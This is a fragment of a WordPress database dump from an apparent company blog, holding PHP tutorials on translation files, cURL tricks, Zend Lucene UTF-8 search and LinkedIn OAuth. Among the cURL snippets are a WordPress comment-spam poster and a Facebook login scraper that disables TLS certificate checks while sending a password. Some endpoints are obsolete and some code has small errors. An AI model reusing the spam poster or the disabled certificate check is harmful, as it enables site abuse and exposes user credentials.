with cURL','','publish','open','open','','awesome-things-to-do-with-curl','','','2014-07-21 10:55:18','2014-07-21 10:55:18','',0,'http://localhost/yalavarthitechnologies/blog/?p=155',0,'post','',0),(156,1,'2014-07-21 10:30:11','2014-07-21 10:30:11','<strong>Summary:</strong>\n<h1><strong>How a website can be displayed in more than one language?</strong></h1>\nIdeamine 7 is project where the content on the website can be displayed in English or in Russian depending upon the language chosen by the user.\n\n<b>Below are the steps on how it is done</b>\n\nCreate a .po file\n\nUsing the poEdit tool you can parse the .po file to create the .mo file\n\nIn the .po file you need to mention the id and the value\n\nIf the site is needed in two different language then you need to have two .po files.Which have the same id but different values\n\n<i><span style=\"text-decoration: underline;\">Below is an example where the id is the same but value is mentioned in English and in Russian </span></i>\n\n<span style=\"text-decoration: underline;\">Value in English </span>\n\nmsgid \"label_please_enter_first_name\"\n\nmsgstr \"Please enter first name\"\n\n<span style=\"text-decoration: underline;\">Value in Russsian</span>\n\nmsgid \"label_please_enter_first_name\"\n\nmsgstr \"Пожалуйста, введите имя\"\n\nUsing phptal in HTML you can call this id, which is replaced by the value that you give in the .mo file\n\n<i><span style=\"text-decoration: underline;\">Below is an example on how you call this id</span></i>\n\n${php: this.translate(label_please_enter_first_name \')}\n\nIn ideamine 7 we have created two .po files , one for English and one for Russian\n\nIn Ideamin7 we have two login forms on the home page. One in English and one in Russian . Depending upon the form used, a session variable is set to that particular language and  the site is displayed in that particular language.\n\nDepending upon the value of the session variable, that particular mo file is called in in the translator.php\n\nIf the user wants to switch the language he can do so by clicking on the preferred language in the dropdown which is provided  at the top on every page.Doing so will change the value of the session variable to that particular language.','Website displayed in multi language','','inherit','open','open','','152-autosave-v1','','','2014-07-21 10:30:11','2014-07-21 10:30:11','',152,'http://localhost/yalavarthitechnologies/blog/?p=156',0,'revision','',0),(157,1,'2014-07-21 10:55:18','2014-07-21 10:55:18','<strong>Summary:</strong>\r\n\r\ncURL, and its PHP extension libcURL, are tools which can be used to simulate a web browser. In fact, it can for example, submit forms.\r\n\r\n&nbsp;\r\n\r\n<b>1 – Update your Facebook status</b>\r\n\r\nWanna update your facebook status, but don’t want to go to facebook.com, login, and finally being able to update your status? Simply save the following code on your server, define the variables, and voilÃ !\r\n\r\n&lt;?PHP\r\n\r\n/*******************************\r\n\r\n*       Facebook Status Updater\r\n\r\n*       Christian Flickinger\r\n\r\n*       http://nexdot.net/blog\r\n\r\n*       April 20, 2007\r\n\r\n*******************************/\r\n\r\n&nbsp;\r\n\r\n$status = \'YOUR_STATUS\';\r\n\r\n$first_name = \'YOUR_FIRST_NAME\';\r\n\r\n$login_email = \'YOUR_LOGIN_EMAIL\';\r\n\r\n$login_pass = \'YOUR_PASSWORD\';\r\n\r\n&nbsp;\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'https://login.facebook.com/login.php?m&amp;amp;next=http%3A%2F%2Fm.facebook.com%2Fhome.php\');\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'email=\'.urlencode($login_email).\'&amp;pass=\'.urlencode($login_pass).\'&amp;login=Login\');\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\r\ncurl_setopt($ch, CURLOPT_COOKIEJAR, \"my_cookies.txt\");\r\n\r\ncurl_setopt($ch, CURLOPT_COOKIEFILE, \"my_cookies.txt\");\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\");\r\n\r\ncurl_exec($ch);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\r\n\r\n$page = curl_exec($ch);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\npreg_match(\'/name=\"post_form_id\" value=\"(.*)\" \\/&gt;\'.ucfirst($first_name).\'/\', $page, $form_id);\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'post_form_id=\'.$form_id[1].\'&amp;status=\'.urlencode($status).\'&amp;update=Update\');\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\r\n\r\ncurl_exec($ch);\r\n\r\n?&gt;\r\n\r\n<b>2 – Get download speed of your webserver</b>\r\n\r\nDo you ever wanted to know the exact download speed of your webserver (or any other?) If yes, you’ll love that code. You just have to initialize the $url variable with any resources from the webserver (images, pdf, etc), place the file on your server and point your browser to it. The output will be a full report of download speed.\r\n\r\n&lt;?php error_reporting(E_ALL | E_STRICT);\r\n\r\n&nbsp;\r\n\r\n// Initialize cURL with given url\r\n\r\n$url = \'http://download.bethere.co.uk/images/61859740_3c0c5dbc30_o.jpg\';\r\n\r\n$ch = curl_init($url);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, \'Sitepoint Examples (thread 581410; http://www.sitepoint.com/forums/showthread.php?t=581410)\');\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);\r\n\r\ncurl_setopt($ch, CURLOPT_TIMEOUT, 60);\r\n\r\n&nbsp;\r\n\r\nset_time_limit(65);\r\n\r\n&nbsp;\r\n\r\n$execute = curl_exec($ch);\r\n\r\n$info = curl_getinfo($ch);\r\n\r\n&nbsp;\r\n\r\n// Time spent downloading, I think\r\n\r\n$time = $info[\'total_time\']\r\n\r\n- $info[\'namelookup_time\']\r\n\r\n- $info[\'connect_time\']\r\n\r\n- $info[\'pretransfer_time\']\r\n\r\n- $info[\'starttransfer_time\']\r\n\r\n- $info[\'redirect_time\'];\r\n\r\n&nbsp;\r\n\r\n// Echo friendly messages\r\n\r\nheader(\'Content-Type: text/plain\');\r\n\r\nprintf(\"Downloaded %d bytes in %0.4f seconds.\\n\", $info[\'size_download\'], $time);\r\n\r\nprintf(\"Which is %0.4f mbps\\n\", $info[\'size_download\'] * 8 / $time / 1024 / 1024);\r\n\r\nprintf(\"CURL said %0.4f mbps\\n\", $info[\'speed_download\'] * 8 / 1024 / 1024);\r\n\r\n&nbsp;\r\n\r\necho \"\\n\\ncurl_getinfo() said:\\n\", str_repeat(\'-\', 31 + strlen($url)), \"\\n\";\r\n\r\nforeach ($info as $label =&gt; $value)\r\n\r\n{\r\n\r\nprintf(\"%-30s %s\\n\", $label, $value);\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n<b>3 – Myspace login using cURL</b>\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nfunction login( $data, $useragent = \'Mozilla 4.01\', $proxy = false ) {\r\n\r\n$ch = curl_init();\r\n\r\n$hash = crc32( $data[\'email\'].$data[\'pass\'] );\r\n\r\n$hash = sprintf( \"%u\", $hash );\r\n\r\n$randnum = $hash.rand( 0, 9999999 );\r\n\r\nif( $proxy ) curl_setopt( $ch, CURLOPT_PROXY, $proxy );\r\n\r\ncurl_setopt( $ch, CURLOPT_COOKIEJAR, \'/tmp/cookiejar-\'.$randnum );\r\n\r\ncurl_setopt( $ch, CURLOPT_COOKIEFILE, \'/tmp/cookiejar-\'.$randnum );\r\n\r\ncurl_setopt( $ch, CURLOPT_USERAGENT, $useragent );\r\n\r\ncurl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );\r\n\r\ncurl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0);\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://www.myspace.com\' );\r\n\r\n$page = curl_exec( $ch );\r\n\r\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\r\n\r\nif( $token[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://www.myspace.com\' );\r\n\r\ncurl_setopt( $ch, CURLOPT_HTTPHEADER, Array( \'Content-Type: application/x-www-form-urlencoded\' ) );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 1 );\r\n\r\n$postfields = \'NextPage=&amp;email=\'.urlencode( $data[\'mail\'] ).\'&amp;password=\'.urlencode( $data[\'pass\'] ).\'&amp;loginbutton.x=&amp;loginbutton.y=\';\r\n\r\ncurl_setopt( $ch, CURLOPT_POSTFIELDS, $postfields );\r\n\r\n$page = curl_exec( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\nelse {\r\n\r\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\r\n\r\npreg_match( \'/replace\\(\"([^\\\"]+)\"/\', $page, $redirpage );\r\n\r\nif( $token[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0 );\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://home.myspace.com/index.cfm?&amp;fuseaction=user&amp;Mytoken=\'.$token[1] );\r\n\r\n$page = curl_exec( $ch );\r\n\r\ncurl_close( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\n}\r\n\r\nelseif( $redirpage[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, $redirpage[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0 );\r\n\r\n$page = curl_exec( $ch );\r\n\r\ncurl_close( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\nreturn false;\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n<b>4 – Publish a post on your WordPress blog, using cURL</b>\r\nThis function can post on your WordPress blog. You don’t need to login to your WP dashboard etc.\r\nThough, you must activate the XMLRPC posting option in your WordPress blog. If this option isn’t activated, the code will not be able to insert anything into WordPress database. Another thing, make sure the XMLRPC functions are activated on your php.ini file.\r\n\r\nfunction wpPostXMLRPC($title,$body,$rpcurl,$username,$password,$category,$keywords=\'\',$encoding=\'UTF-8\')\r\n\r\n{\r\n\r\n$title = htmlentities($title,ENT_NOQUOTES,$encoding);\r\n\r\n$keywords = htmlentities($keywords,ENT_NOQUOTES,$encoding);\r\n\r\n&nbsp;\r\n\r\n$content = array(\r\n\r\n\'title\'=&gt;$title,\r\n\r\n\'description\'=&gt;$body,\r\n\r\n\'mt_allow_comments\'=&gt;0,  // 1 to allow comments\r\n\r\n\'mt_allow_pings\'=&gt;0,  // 1 to allow trackbacks\r\n\r\n\'post_type\'=&gt;\'post\',\r\n\r\n\'mt_keywords\'=&gt;$keywords,\r\n\r\n\'categories\'=&gt;array($category)\r\n\r\n);\r\n\r\n$params = array(0,$username,$password,$content,true);\r\n\r\n$request = xmlrpc_encode_request(\'metaWeblog.newPost\',$params);\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $request);\r\n\r\ncurl_setopt($ch, CURLOPT_URL, $rpcurl);\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_TIMEOUT, 1);\r\n\r\n$results = curl_exec($ch);\r\n\r\ncurl_close($ch);\r\n\r\nreturn $results;\r\n\r\n?&gt;\r\n\r\n<b>5 – Test the existence of a given url</b>\r\n\r\nIn fact, <i>it is basic</i>, but it is also very useful, especially when you have to work with external resources.\r\n\r\n&lt;?php\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \"http://www.jellyandcustard.com/\");\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, true);\r\n\r\ncurl_setopt($ch, CURLOPT_NOBODY, true);\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\r\n$data = curl_exec($ch);\r\n\r\ncurl_close($ch)\r\n\r\necho $data;\r\n\r\n?&gt;\r\n\r\n<b>6 – Post comments on WordPress blogs</b>\r\n\r\n&lt;?php\r\n\r\n$postfields = array();\r\n\r\n$postfields[\"action\"] = \"submit\";\r\n\r\n$postfields[\"author\"] = \"Spammer\";\r\n\r\n$postfields[\"email\"] = \"spammer@spam.com\";\r\n\r\n$postfields[\"url\"] = \"http://www.iamaspammer.com/\";\r\n\r\n$postfields[\"comment\"] = \"I am a stupid spammer.\";\r\n\r\n$postfields[\"comment_post_ID\"] = \"123\";\r\n\r\n$postfields[\"_wp_unfiltered_html_comment\"] = \"0d870b294b\";\r\n\r\n//Url of the form submission\r\n\r\n$url = \"http://www.ablogthatdoesntexist.com/blog/suggerer_site.php?action=meta_pass&amp;id_cat=0\";\r\n\r\n$useragent = \"Mozilla/5.0\";\r\n\r\n$referer = $url;\r\n\r\n&nbsp;\r\n\r\n//Initialize CURL session\r\n\r\n$ch = curl_init($url);\r\n\r\n//CURL options\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\n//We post $postfields data\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);\r\n\r\n//We define an useragent (Mozilla/5.0)\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n\r\n//We define a refferer ($url)\r\n\r\ncurl_setopt($ch, CURLOPT_REFERER, $referer);\r\n\r\n//We get the result page in a string\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n//We exits CURL\r\n\r\n$result = curl_exec($ch);\r\n\r\ncurl_close($ch);\r\n\r\n&nbsp;\r\n\r\n//Finally, we display the result\r\n\r\necho $result;\r\n\r\n?&gt;\r\n\r\n<b>7 – Follow your Adsense earnings with an RSS reader</b>\r\n\r\nMost bloggers uses Adsense on their blog and (try to) make money with Google. This excellent snippet allows you to follow your Adsense earnings…with a RSS reader! Definitely awesome.\r\n<i>(Script too big to be displayed on the blog, click </i><a href=\"http://planetozh.com/download/rss-adsense.txt\"><i>here to preview</i></a><i>)</i>\r\n<b>Source:</b> <a href=\"http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/\">http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/</a>\r\n\r\n&nbsp;\r\n\r\n<b>8 – Get feed subscribers count in full text</b>\r\n\r\nIf you’re a blogger, you’re probably using the popular FeedBurner service, which allo you to know how many people grabbed your rss feed. Feedburner have a chicklet to proudly display your subscriber count on your blog.\r\n\r\n//get cool feedburner count\r\n\r\n$whaturl=\"https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=feedburner-id\";\r\n\r\n&nbsp;\r\n\r\n//Initialize the Curl session\r\n\r\n$ch = curl_init();\r\n\r\n&nbsp;\r\n\r\n//Set curl to return the data instead of printing it to the browser.\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n&nbsp;\r\n\r\n//Set the URL\r\n\r\ncurl_setopt($ch, CURLOPT_URL, $whaturl);\r\n\r\n&nbsp;\r\n\r\n//Execute the fetch\r\n\r\n$data = curl_exec($ch);\r\n\r\n&nbsp;\r\n\r\n//Close the connection\r\n\r\ncurl_close($ch);\r\n\r\n$xml = new SimpleXMLElement($data);\r\n\r\n$fb = $xml-&gt;feed-&gt;entry[\'circulation\'];\r\n\r\n//end get cool feedburner count\r\n\r\n<b>Source:</b> <a href=\"http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/\">http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/</a>\r\n\r\n&nbsp;\r\n\r\n<b>9 – Get the content of a webpage into a PHP variable</b>\r\n\r\nThis is a very basic thing to do with cURL, but with endless possibilities. Once you have a webpage in a PHP variable, you can for example, retrieve a particular information on the page to use on your own website.\r\n\r\n&lt;?php\r\n\r\nch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \"example.com\");\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n$output = curl_exec($ch);\r\n\r\ncurl_close($ch);  ?&gt;\r\n\r\n<b>10 – Post to Twitter using PHP and cURL</b>\r\n\r\nTwitter is very popular since some time now, and you probably already have an account there. (<a href=\"http://www.twitter.com/catswhocode\">We have one too</a>) So, what about using cURL to tweet from your server without connectiong to Twitter?\r\n\r\n&lt;?php\r\n\r\n// Set username and password\r\n\r\n$username = \'username\';\r\n\r\n$password = \'password\';\r\n\r\n// The message you want to send\r\n\r\n$message = \'is twittering from php using curl\';\r\n\r\n// The twitter API address\r\n\r\n$url = \'http://twitter.com/statuses/update.xml\';\r\n\r\n// Alternative JSON version\r\n\r\n// $url = \'http://twitter.com/statuses/update.json\';\r\n\r\n// Set up and execute the curl process\r\n\r\n$curl_handle = curl_init();\r\n\r\ncurl_setopt($curl_handle, CURLOPT_URL, \"$url\");\r\n\r\ncurl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 2);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_POST, 1);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_POSTFIELDS, \"status=$message\");\r\n\r\ncurl_setopt($curl_handle, CURLOPT_USERPWD, \"$username:$password\");\r\n\r\n$buffer = curl_exec($curl_handle);\r\n\r\ncurl_close($curl_handle);\r\n\r\n// check for success or failure\r\n\r\nif (empty($buffer)) {\r\n\r\necho \'message\';\r\n\r\n} else {\r\n\r\necho \'success\';\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Prevent js and css files from being cached</b>\r\n\r\nBy default, external files such as javascript and css are cached by the browser. If you want to prevent this from caching, simply use this easy tip:\r\n\r\n&lt;link href=\"/stylesheet.css?&lt;?php echo time(); ?&gt;\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n\r\nThe result will look like this:\r\n\r\n&lt;link href=\"/stylesheet.css?1234567890\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Test if a password is strong</b>\r\n\r\nWeak passwords are one of the quickest ways to get hacked. The following regexp will make sure that:\r\n\r\nPasswords will contain at least (1) upper case letter\r\n\r\nPasswords will contain at least (1) lower case letter\r\n\r\nPasswords will contain at least (1) number or special character\r\n\r\nPasswords will contain at least (8) characters in length\r\n\r\nPassword maximum length should not be arbitrarily limited\r\n\r\n(?=^.{8,}$)((?=.*\\d)|(?=.*\\W+))(?![.\\n])(?=.*[A-Z])(?=.*[a-z]).*$\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Remove URLs from string</b>\r\n\r\nWhen I see the amount of URLs people try to leave in my blog comments to get traffic and/or backlinks, I think I should definitely give a go to this snippet!\r\n\r\n$string = preg_replace(\'/\\b(https?|ftp|file):\\/\\/[-A-Z0-9+&amp;@#\\/%?=~_|$!:,.;]*[A-Z0-9+&amp;@#\\/%=~_|$]/i\', \'\', $string);','Awesome things to do with cURL','','inherit','open','open','','155-revision-v1','','','2014-07-21 10:55:18','2014-07-21 10:55:18','',155,'http://localhost/yalavarthitechnologies/blog/?p=157',0,'revision','',0),(158,1,'2014-07-21 10:58:58','2014-07-21 10:58:58','<strong>Summary:</strong>\r\n<h1>Seatch Implementation for MultiLanguages Using Zend Lucene</h1>\r\nI have a problem with searching Russian strings,   with  Zend Search Lucene. Here is my actual code:\r\n\r\n<strong> ///Before </strong>\r\n\r\n// Create index\r\n$index = Zend_Search_Lucene::create(\'data/index\');\r\n$doc = new Zend_Search_Lucene_Document();\r\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\', \'русский\r\nтекст; english text\'));\r\n$index-&gt;addDocument($doc);\r\n$index-&gt;commit();\r\n\r\nThe problem here is default analyzer works only with ASCII Text.\r\nThat\'s so because mbstring PHP extension is not included into PHP installation by default and iconv() doesn\'t have necessary functionality.\r\n\r\nYou should use special UTF-8 analyzers to work with non-ASCII text which can\'t be transliterated by iconv()\r\n\r\n///Add this line extra to replace default analyzer with Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8. It looks like the analyzer you are using destroys the non-ASCII characters\r\n\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\r\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8 ());\r\n\r\n<strong>//After</strong>\r\n// Create index\r\n$index = Zend_Search_Lucene::create(\'data/index\');\r\n$doc = new Zend_Search_Lucene_Document();\r\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\',\r\n\'русский текст; english text\',\r\n\'utf-8\'));\r\n$index-&gt;addDocument($doc); $index-&gt;commit();\r\n\r\nThis needs to be done at the time of creating index files.\r\n\r\n&nbsp;\r\n\r\nWhile indexing database columns we need to execute my sql query .Before executing mysql_query we need to add mysql_query(\"SET NAMES \'utf8\'\").\r\n\r\nmysql_query(\"SET NAMES \'utf8\'\");\r\n\r\n$contents = mysql_query($query)\r\n\r\nThis will inform mysql that all incoming data are UTF-8, it will convert them into table/column encoding. Same will happen when mysql sends you the data back - they will be converted into UTF-8. You will also have to assure that you set the content-type response header to indicate the UTF-8 encoding of the pages.\r\n<h1><strong>///Searching   </strong></h1>\r\nThe same Zend_Search_Lucene_Analysis_Analyzer we need to set as default analyzer before searching also.\r\n\r\n<strong>////Before</strong>\r\n\r\n// Query the index:\r\n$queryStr = \'english\';\r\n$query = Zend_Search_Lucene_Search_QueryParser::parse($queryStr, \'utf-8\');\r\n$hits = $index-&gt;find($query);\r\nforeach ($hits as $hit) {\r\n/*@var $hit Zend_Search_Lucene*/\r\n$doc = $hit-&gt;getDocument();\r\necho $doc-&gt;getField(\'samplefield\')-&gt;value, PHP_EOL;\r\n}\r\n\r\n<strong>////After</strong>\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\r\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive ());\r\n\r\n// Open index\r\n$index = Zend_Search_Lucene::open(\'data/index\');\r\n...\r\n\r\nZend_Search_Lucene_Search_QueryParser::setDefaultEncoding(\'utf-8\');\r\nforeach ($index-&gt;find($query) as $hit) {\r\necho $hit-&gt;samplefield, PHP_EOL;\r\n}\r\n<h1>UTF-8 compatible text analyzers</h1>\r\nZend_Search_Lucene also contains a set of UTF-8 compatible analyzers: Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num_CaseInsensitive.\r\n\r\n<b>Any of this analyzers can be enabled with the code like this: </b>\r\n\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(<b>new</b> Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8());\r\n\r\n<b>Warning</b>\r\n\r\nUTF-8 compatible analyzers were improved in Zend Framework 1.5. Early versions of analyzers assumed all non-ascii characters are letters. New analyzers implementation has more accurate behavior.\r\n\r\nThis may need you to re-build index to have data and search queries tokenized in the same way, otherwise search engine may return wrong result sets.','Zend Lucene Search for Multi Language','','publish','open','open','','zend-lucene-search-for-multi-language','','','2014-07-21 10:58:58','2014-07-21 10:58:58','',0,'http://localhost/yalavarthitechnologies/blog/?p=158',0,'post','',0),(159,1,'2014-07-21 10:58:58','2014-07-21 10:58:58','<strong>Summary:</strong>\r\n<h1>Seatch Implementation for MultiLanguages Using Zend Lucene</h1>\r\nI have a problem with searching Russian strings,   with  Zend Search Lucene. Here is my actual code:\r\n\r\n<strong> ///Before </strong>\r\n\r\n// Create index\r\n$index = Zend_Search_Lucene::create(\'data/index\');\r\n$doc = new Zend_Search_Lucene_Document();\r\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\', \'русский\r\nтекст; english text\'));\r\n$index-&gt;addDocument($doc);\r\n$index-&gt;commit();\r\n\r\nThe problem here is default analyzer works only with ASCII Text.\r\nThat\'s so because mbstring PHP extension is not included into PHP installation by default and iconv() doesn\'t have necessary functionality.\r\n\r\nYou should use special UTF-8 analyzers to work with non-ASCII text which can\'t be transliterated by iconv()\r\n\r\n///Add this line extra to replace default analyzer with Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8. It looks like the analyzer you are using destroys the non-ASCII characters\r\n\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\r\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8 ());\r\n\r\n<strong>//After</strong>\r\n// Create index\r\n$index = Zend_Search_Lucene::create(\'data/index\');\r\n$doc = new Zend_Search_Lucene_Document();\r\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\',\r\n\'русский текст; english text\',\r\n\'utf-8\'));\r\n$index-&gt;addDocument($doc); $index-&gt;commit();\r\n\r\nThis needs to be done at the time of creating index files.\r\n\r\n&nbsp;\r\n\r\nWhile indexing database columns we need to execute my sql query .Before executing mysql_query we need to add mysql_query(\"SET NAMES \'utf8\'\").\r\n\r\nmysql_query(\"SET NAMES \'utf8\'\");\r\n\r\n$contents = mysql_query($query)\r\n\r\nThis will inform mysql that all incoming data are UTF-8, it will convert them into table/column encoding. Same will happen when mysql sends you the data back - they will be converted into UTF-8. You will also have to assure that you set the content-type response header to indicate the UTF-8 encoding of the pages.\r\n<h1><strong>///Searching   </strong></h1>\r\nThe same Zend_Search_Lucene_Analysis_Analyzer we need to set as default analyzer before searching also.\r\n\r\n<strong>////Before</strong>\r\n\r\n// Query the index:\r\n$queryStr = \'english\';\r\n$query = Zend_Search_Lucene_Search_QueryParser::parse($queryStr, \'utf-8\');\r\n$hits = $index-&gt;find($query);\r\nforeach ($hits as $hit) {\r\n/*@var $hit Zend_Search_Lucene*/\r\n$doc = $hit-&gt;getDocument();\r\necho $doc-&gt;getField(\'samplefield\')-&gt;value, PHP_EOL;\r\n}\r\n\r\n<strong>////After</strong>\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\r\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive ());\r\n\r\n// Open index\r\n$index = Zend_Search_Lucene::open(\'data/index\');\r\n...\r\n\r\nZend_Search_Lucene_Search_QueryParser::setDefaultEncoding(\'utf-8\');\r\nforeach ($index-&gt;find($query) as $hit) {\r\necho $hit-&gt;samplefield, PHP_EOL;\r\n}\r\n<h1>UTF-8 compatible text analyzers</h1>\r\nZend_Search_Lucene also contains a set of UTF-8 compatible analyzers: Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num_CaseInsensitive.\r\n\r\n<b>Any of this analyzers can be enabled with the code like this: </b>\r\n\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(<b>new</b> Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8());\r\n\r\n<b>Warning</b>\r\n\r\nUTF-8 compatible analyzers were improved in Zend Framework 1.5. Early versions of analyzers assumed all non-ascii characters are letters. New analyzers implementation has more accurate behavior.\r\n\r\nThis may need you to re-build index to have data and search queries tokenized in the same way, otherwise search engine may return wrong result sets.','Zend Lucene Search for Multi Language','','inherit','open','open','','158-revision-v1','','','2014-07-21 10:58:58','2014-07-21 10:58:58','',158,'http://localhost/yalavarthitechnologies/blog/?p=159',0,'revision','',0),(160,1,'2014-07-21 11:02:02','2014-07-21 11:02:02','<b>Integration of LinkedIn API</b>\r\n\r\nThe purpose of this article is how to integrate LinkedIn API in our applications. I covered some of the topics like showing the LinkedIn network people belongs to a company or industry and showing your LinkedIn first degree/second degree connection friends in our application and sending message to your LinkedIn friends.\r\n\r\nLinkedIn API uses OAuth as its authentication method. OAuth is a standard for negotiating developer authorization and granting access on behalf of specific members to perform API requests. One of OAuth\'s benefits is the availability of many third party and open source libraries, allowing developers to authenticate with LinkedIn quickly and in a similar manner to how they authenticate with services such as Twitter, Google, Yahoo, and Netflix.\r\n<b>OAuth Overview</b>\r\n\r\nThe below is a high-level architectural diagram of OAuth, and provides the specific settings for using it with the LinkedIn API.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>The OAuth Flow</b><b></b>\r\n\r\nThe developer (or the \"consumer\") requests an API (or consumer) key from LinkedIn (or the \"provider\")\r\n\r\nA. When your application needs to authenticate the member (or the \"user\"), your application makes a call to LinkedIn to ask for a request token\r\n\r\nB. LinkedIn replies with a request token. Request tokens are used to ask for user approval to the API.\r\n\r\nC. Your application redirects the member to LinkedIn to sign-in and authorize your application to make API calls on their behalf. Developer provides LinkedIn with a URL where they should send them afterward (or the \"callback\")\r\n\r\n&nbsp;\r\n\r\nD. If the member agrees, LinkedIn returns them to the location specified in the callback\r\n\r\nE. Your application then makes another OAuth call to LinkedIn to retrieve an access token for the member\r\n\r\nF. LinkedIn returns an access 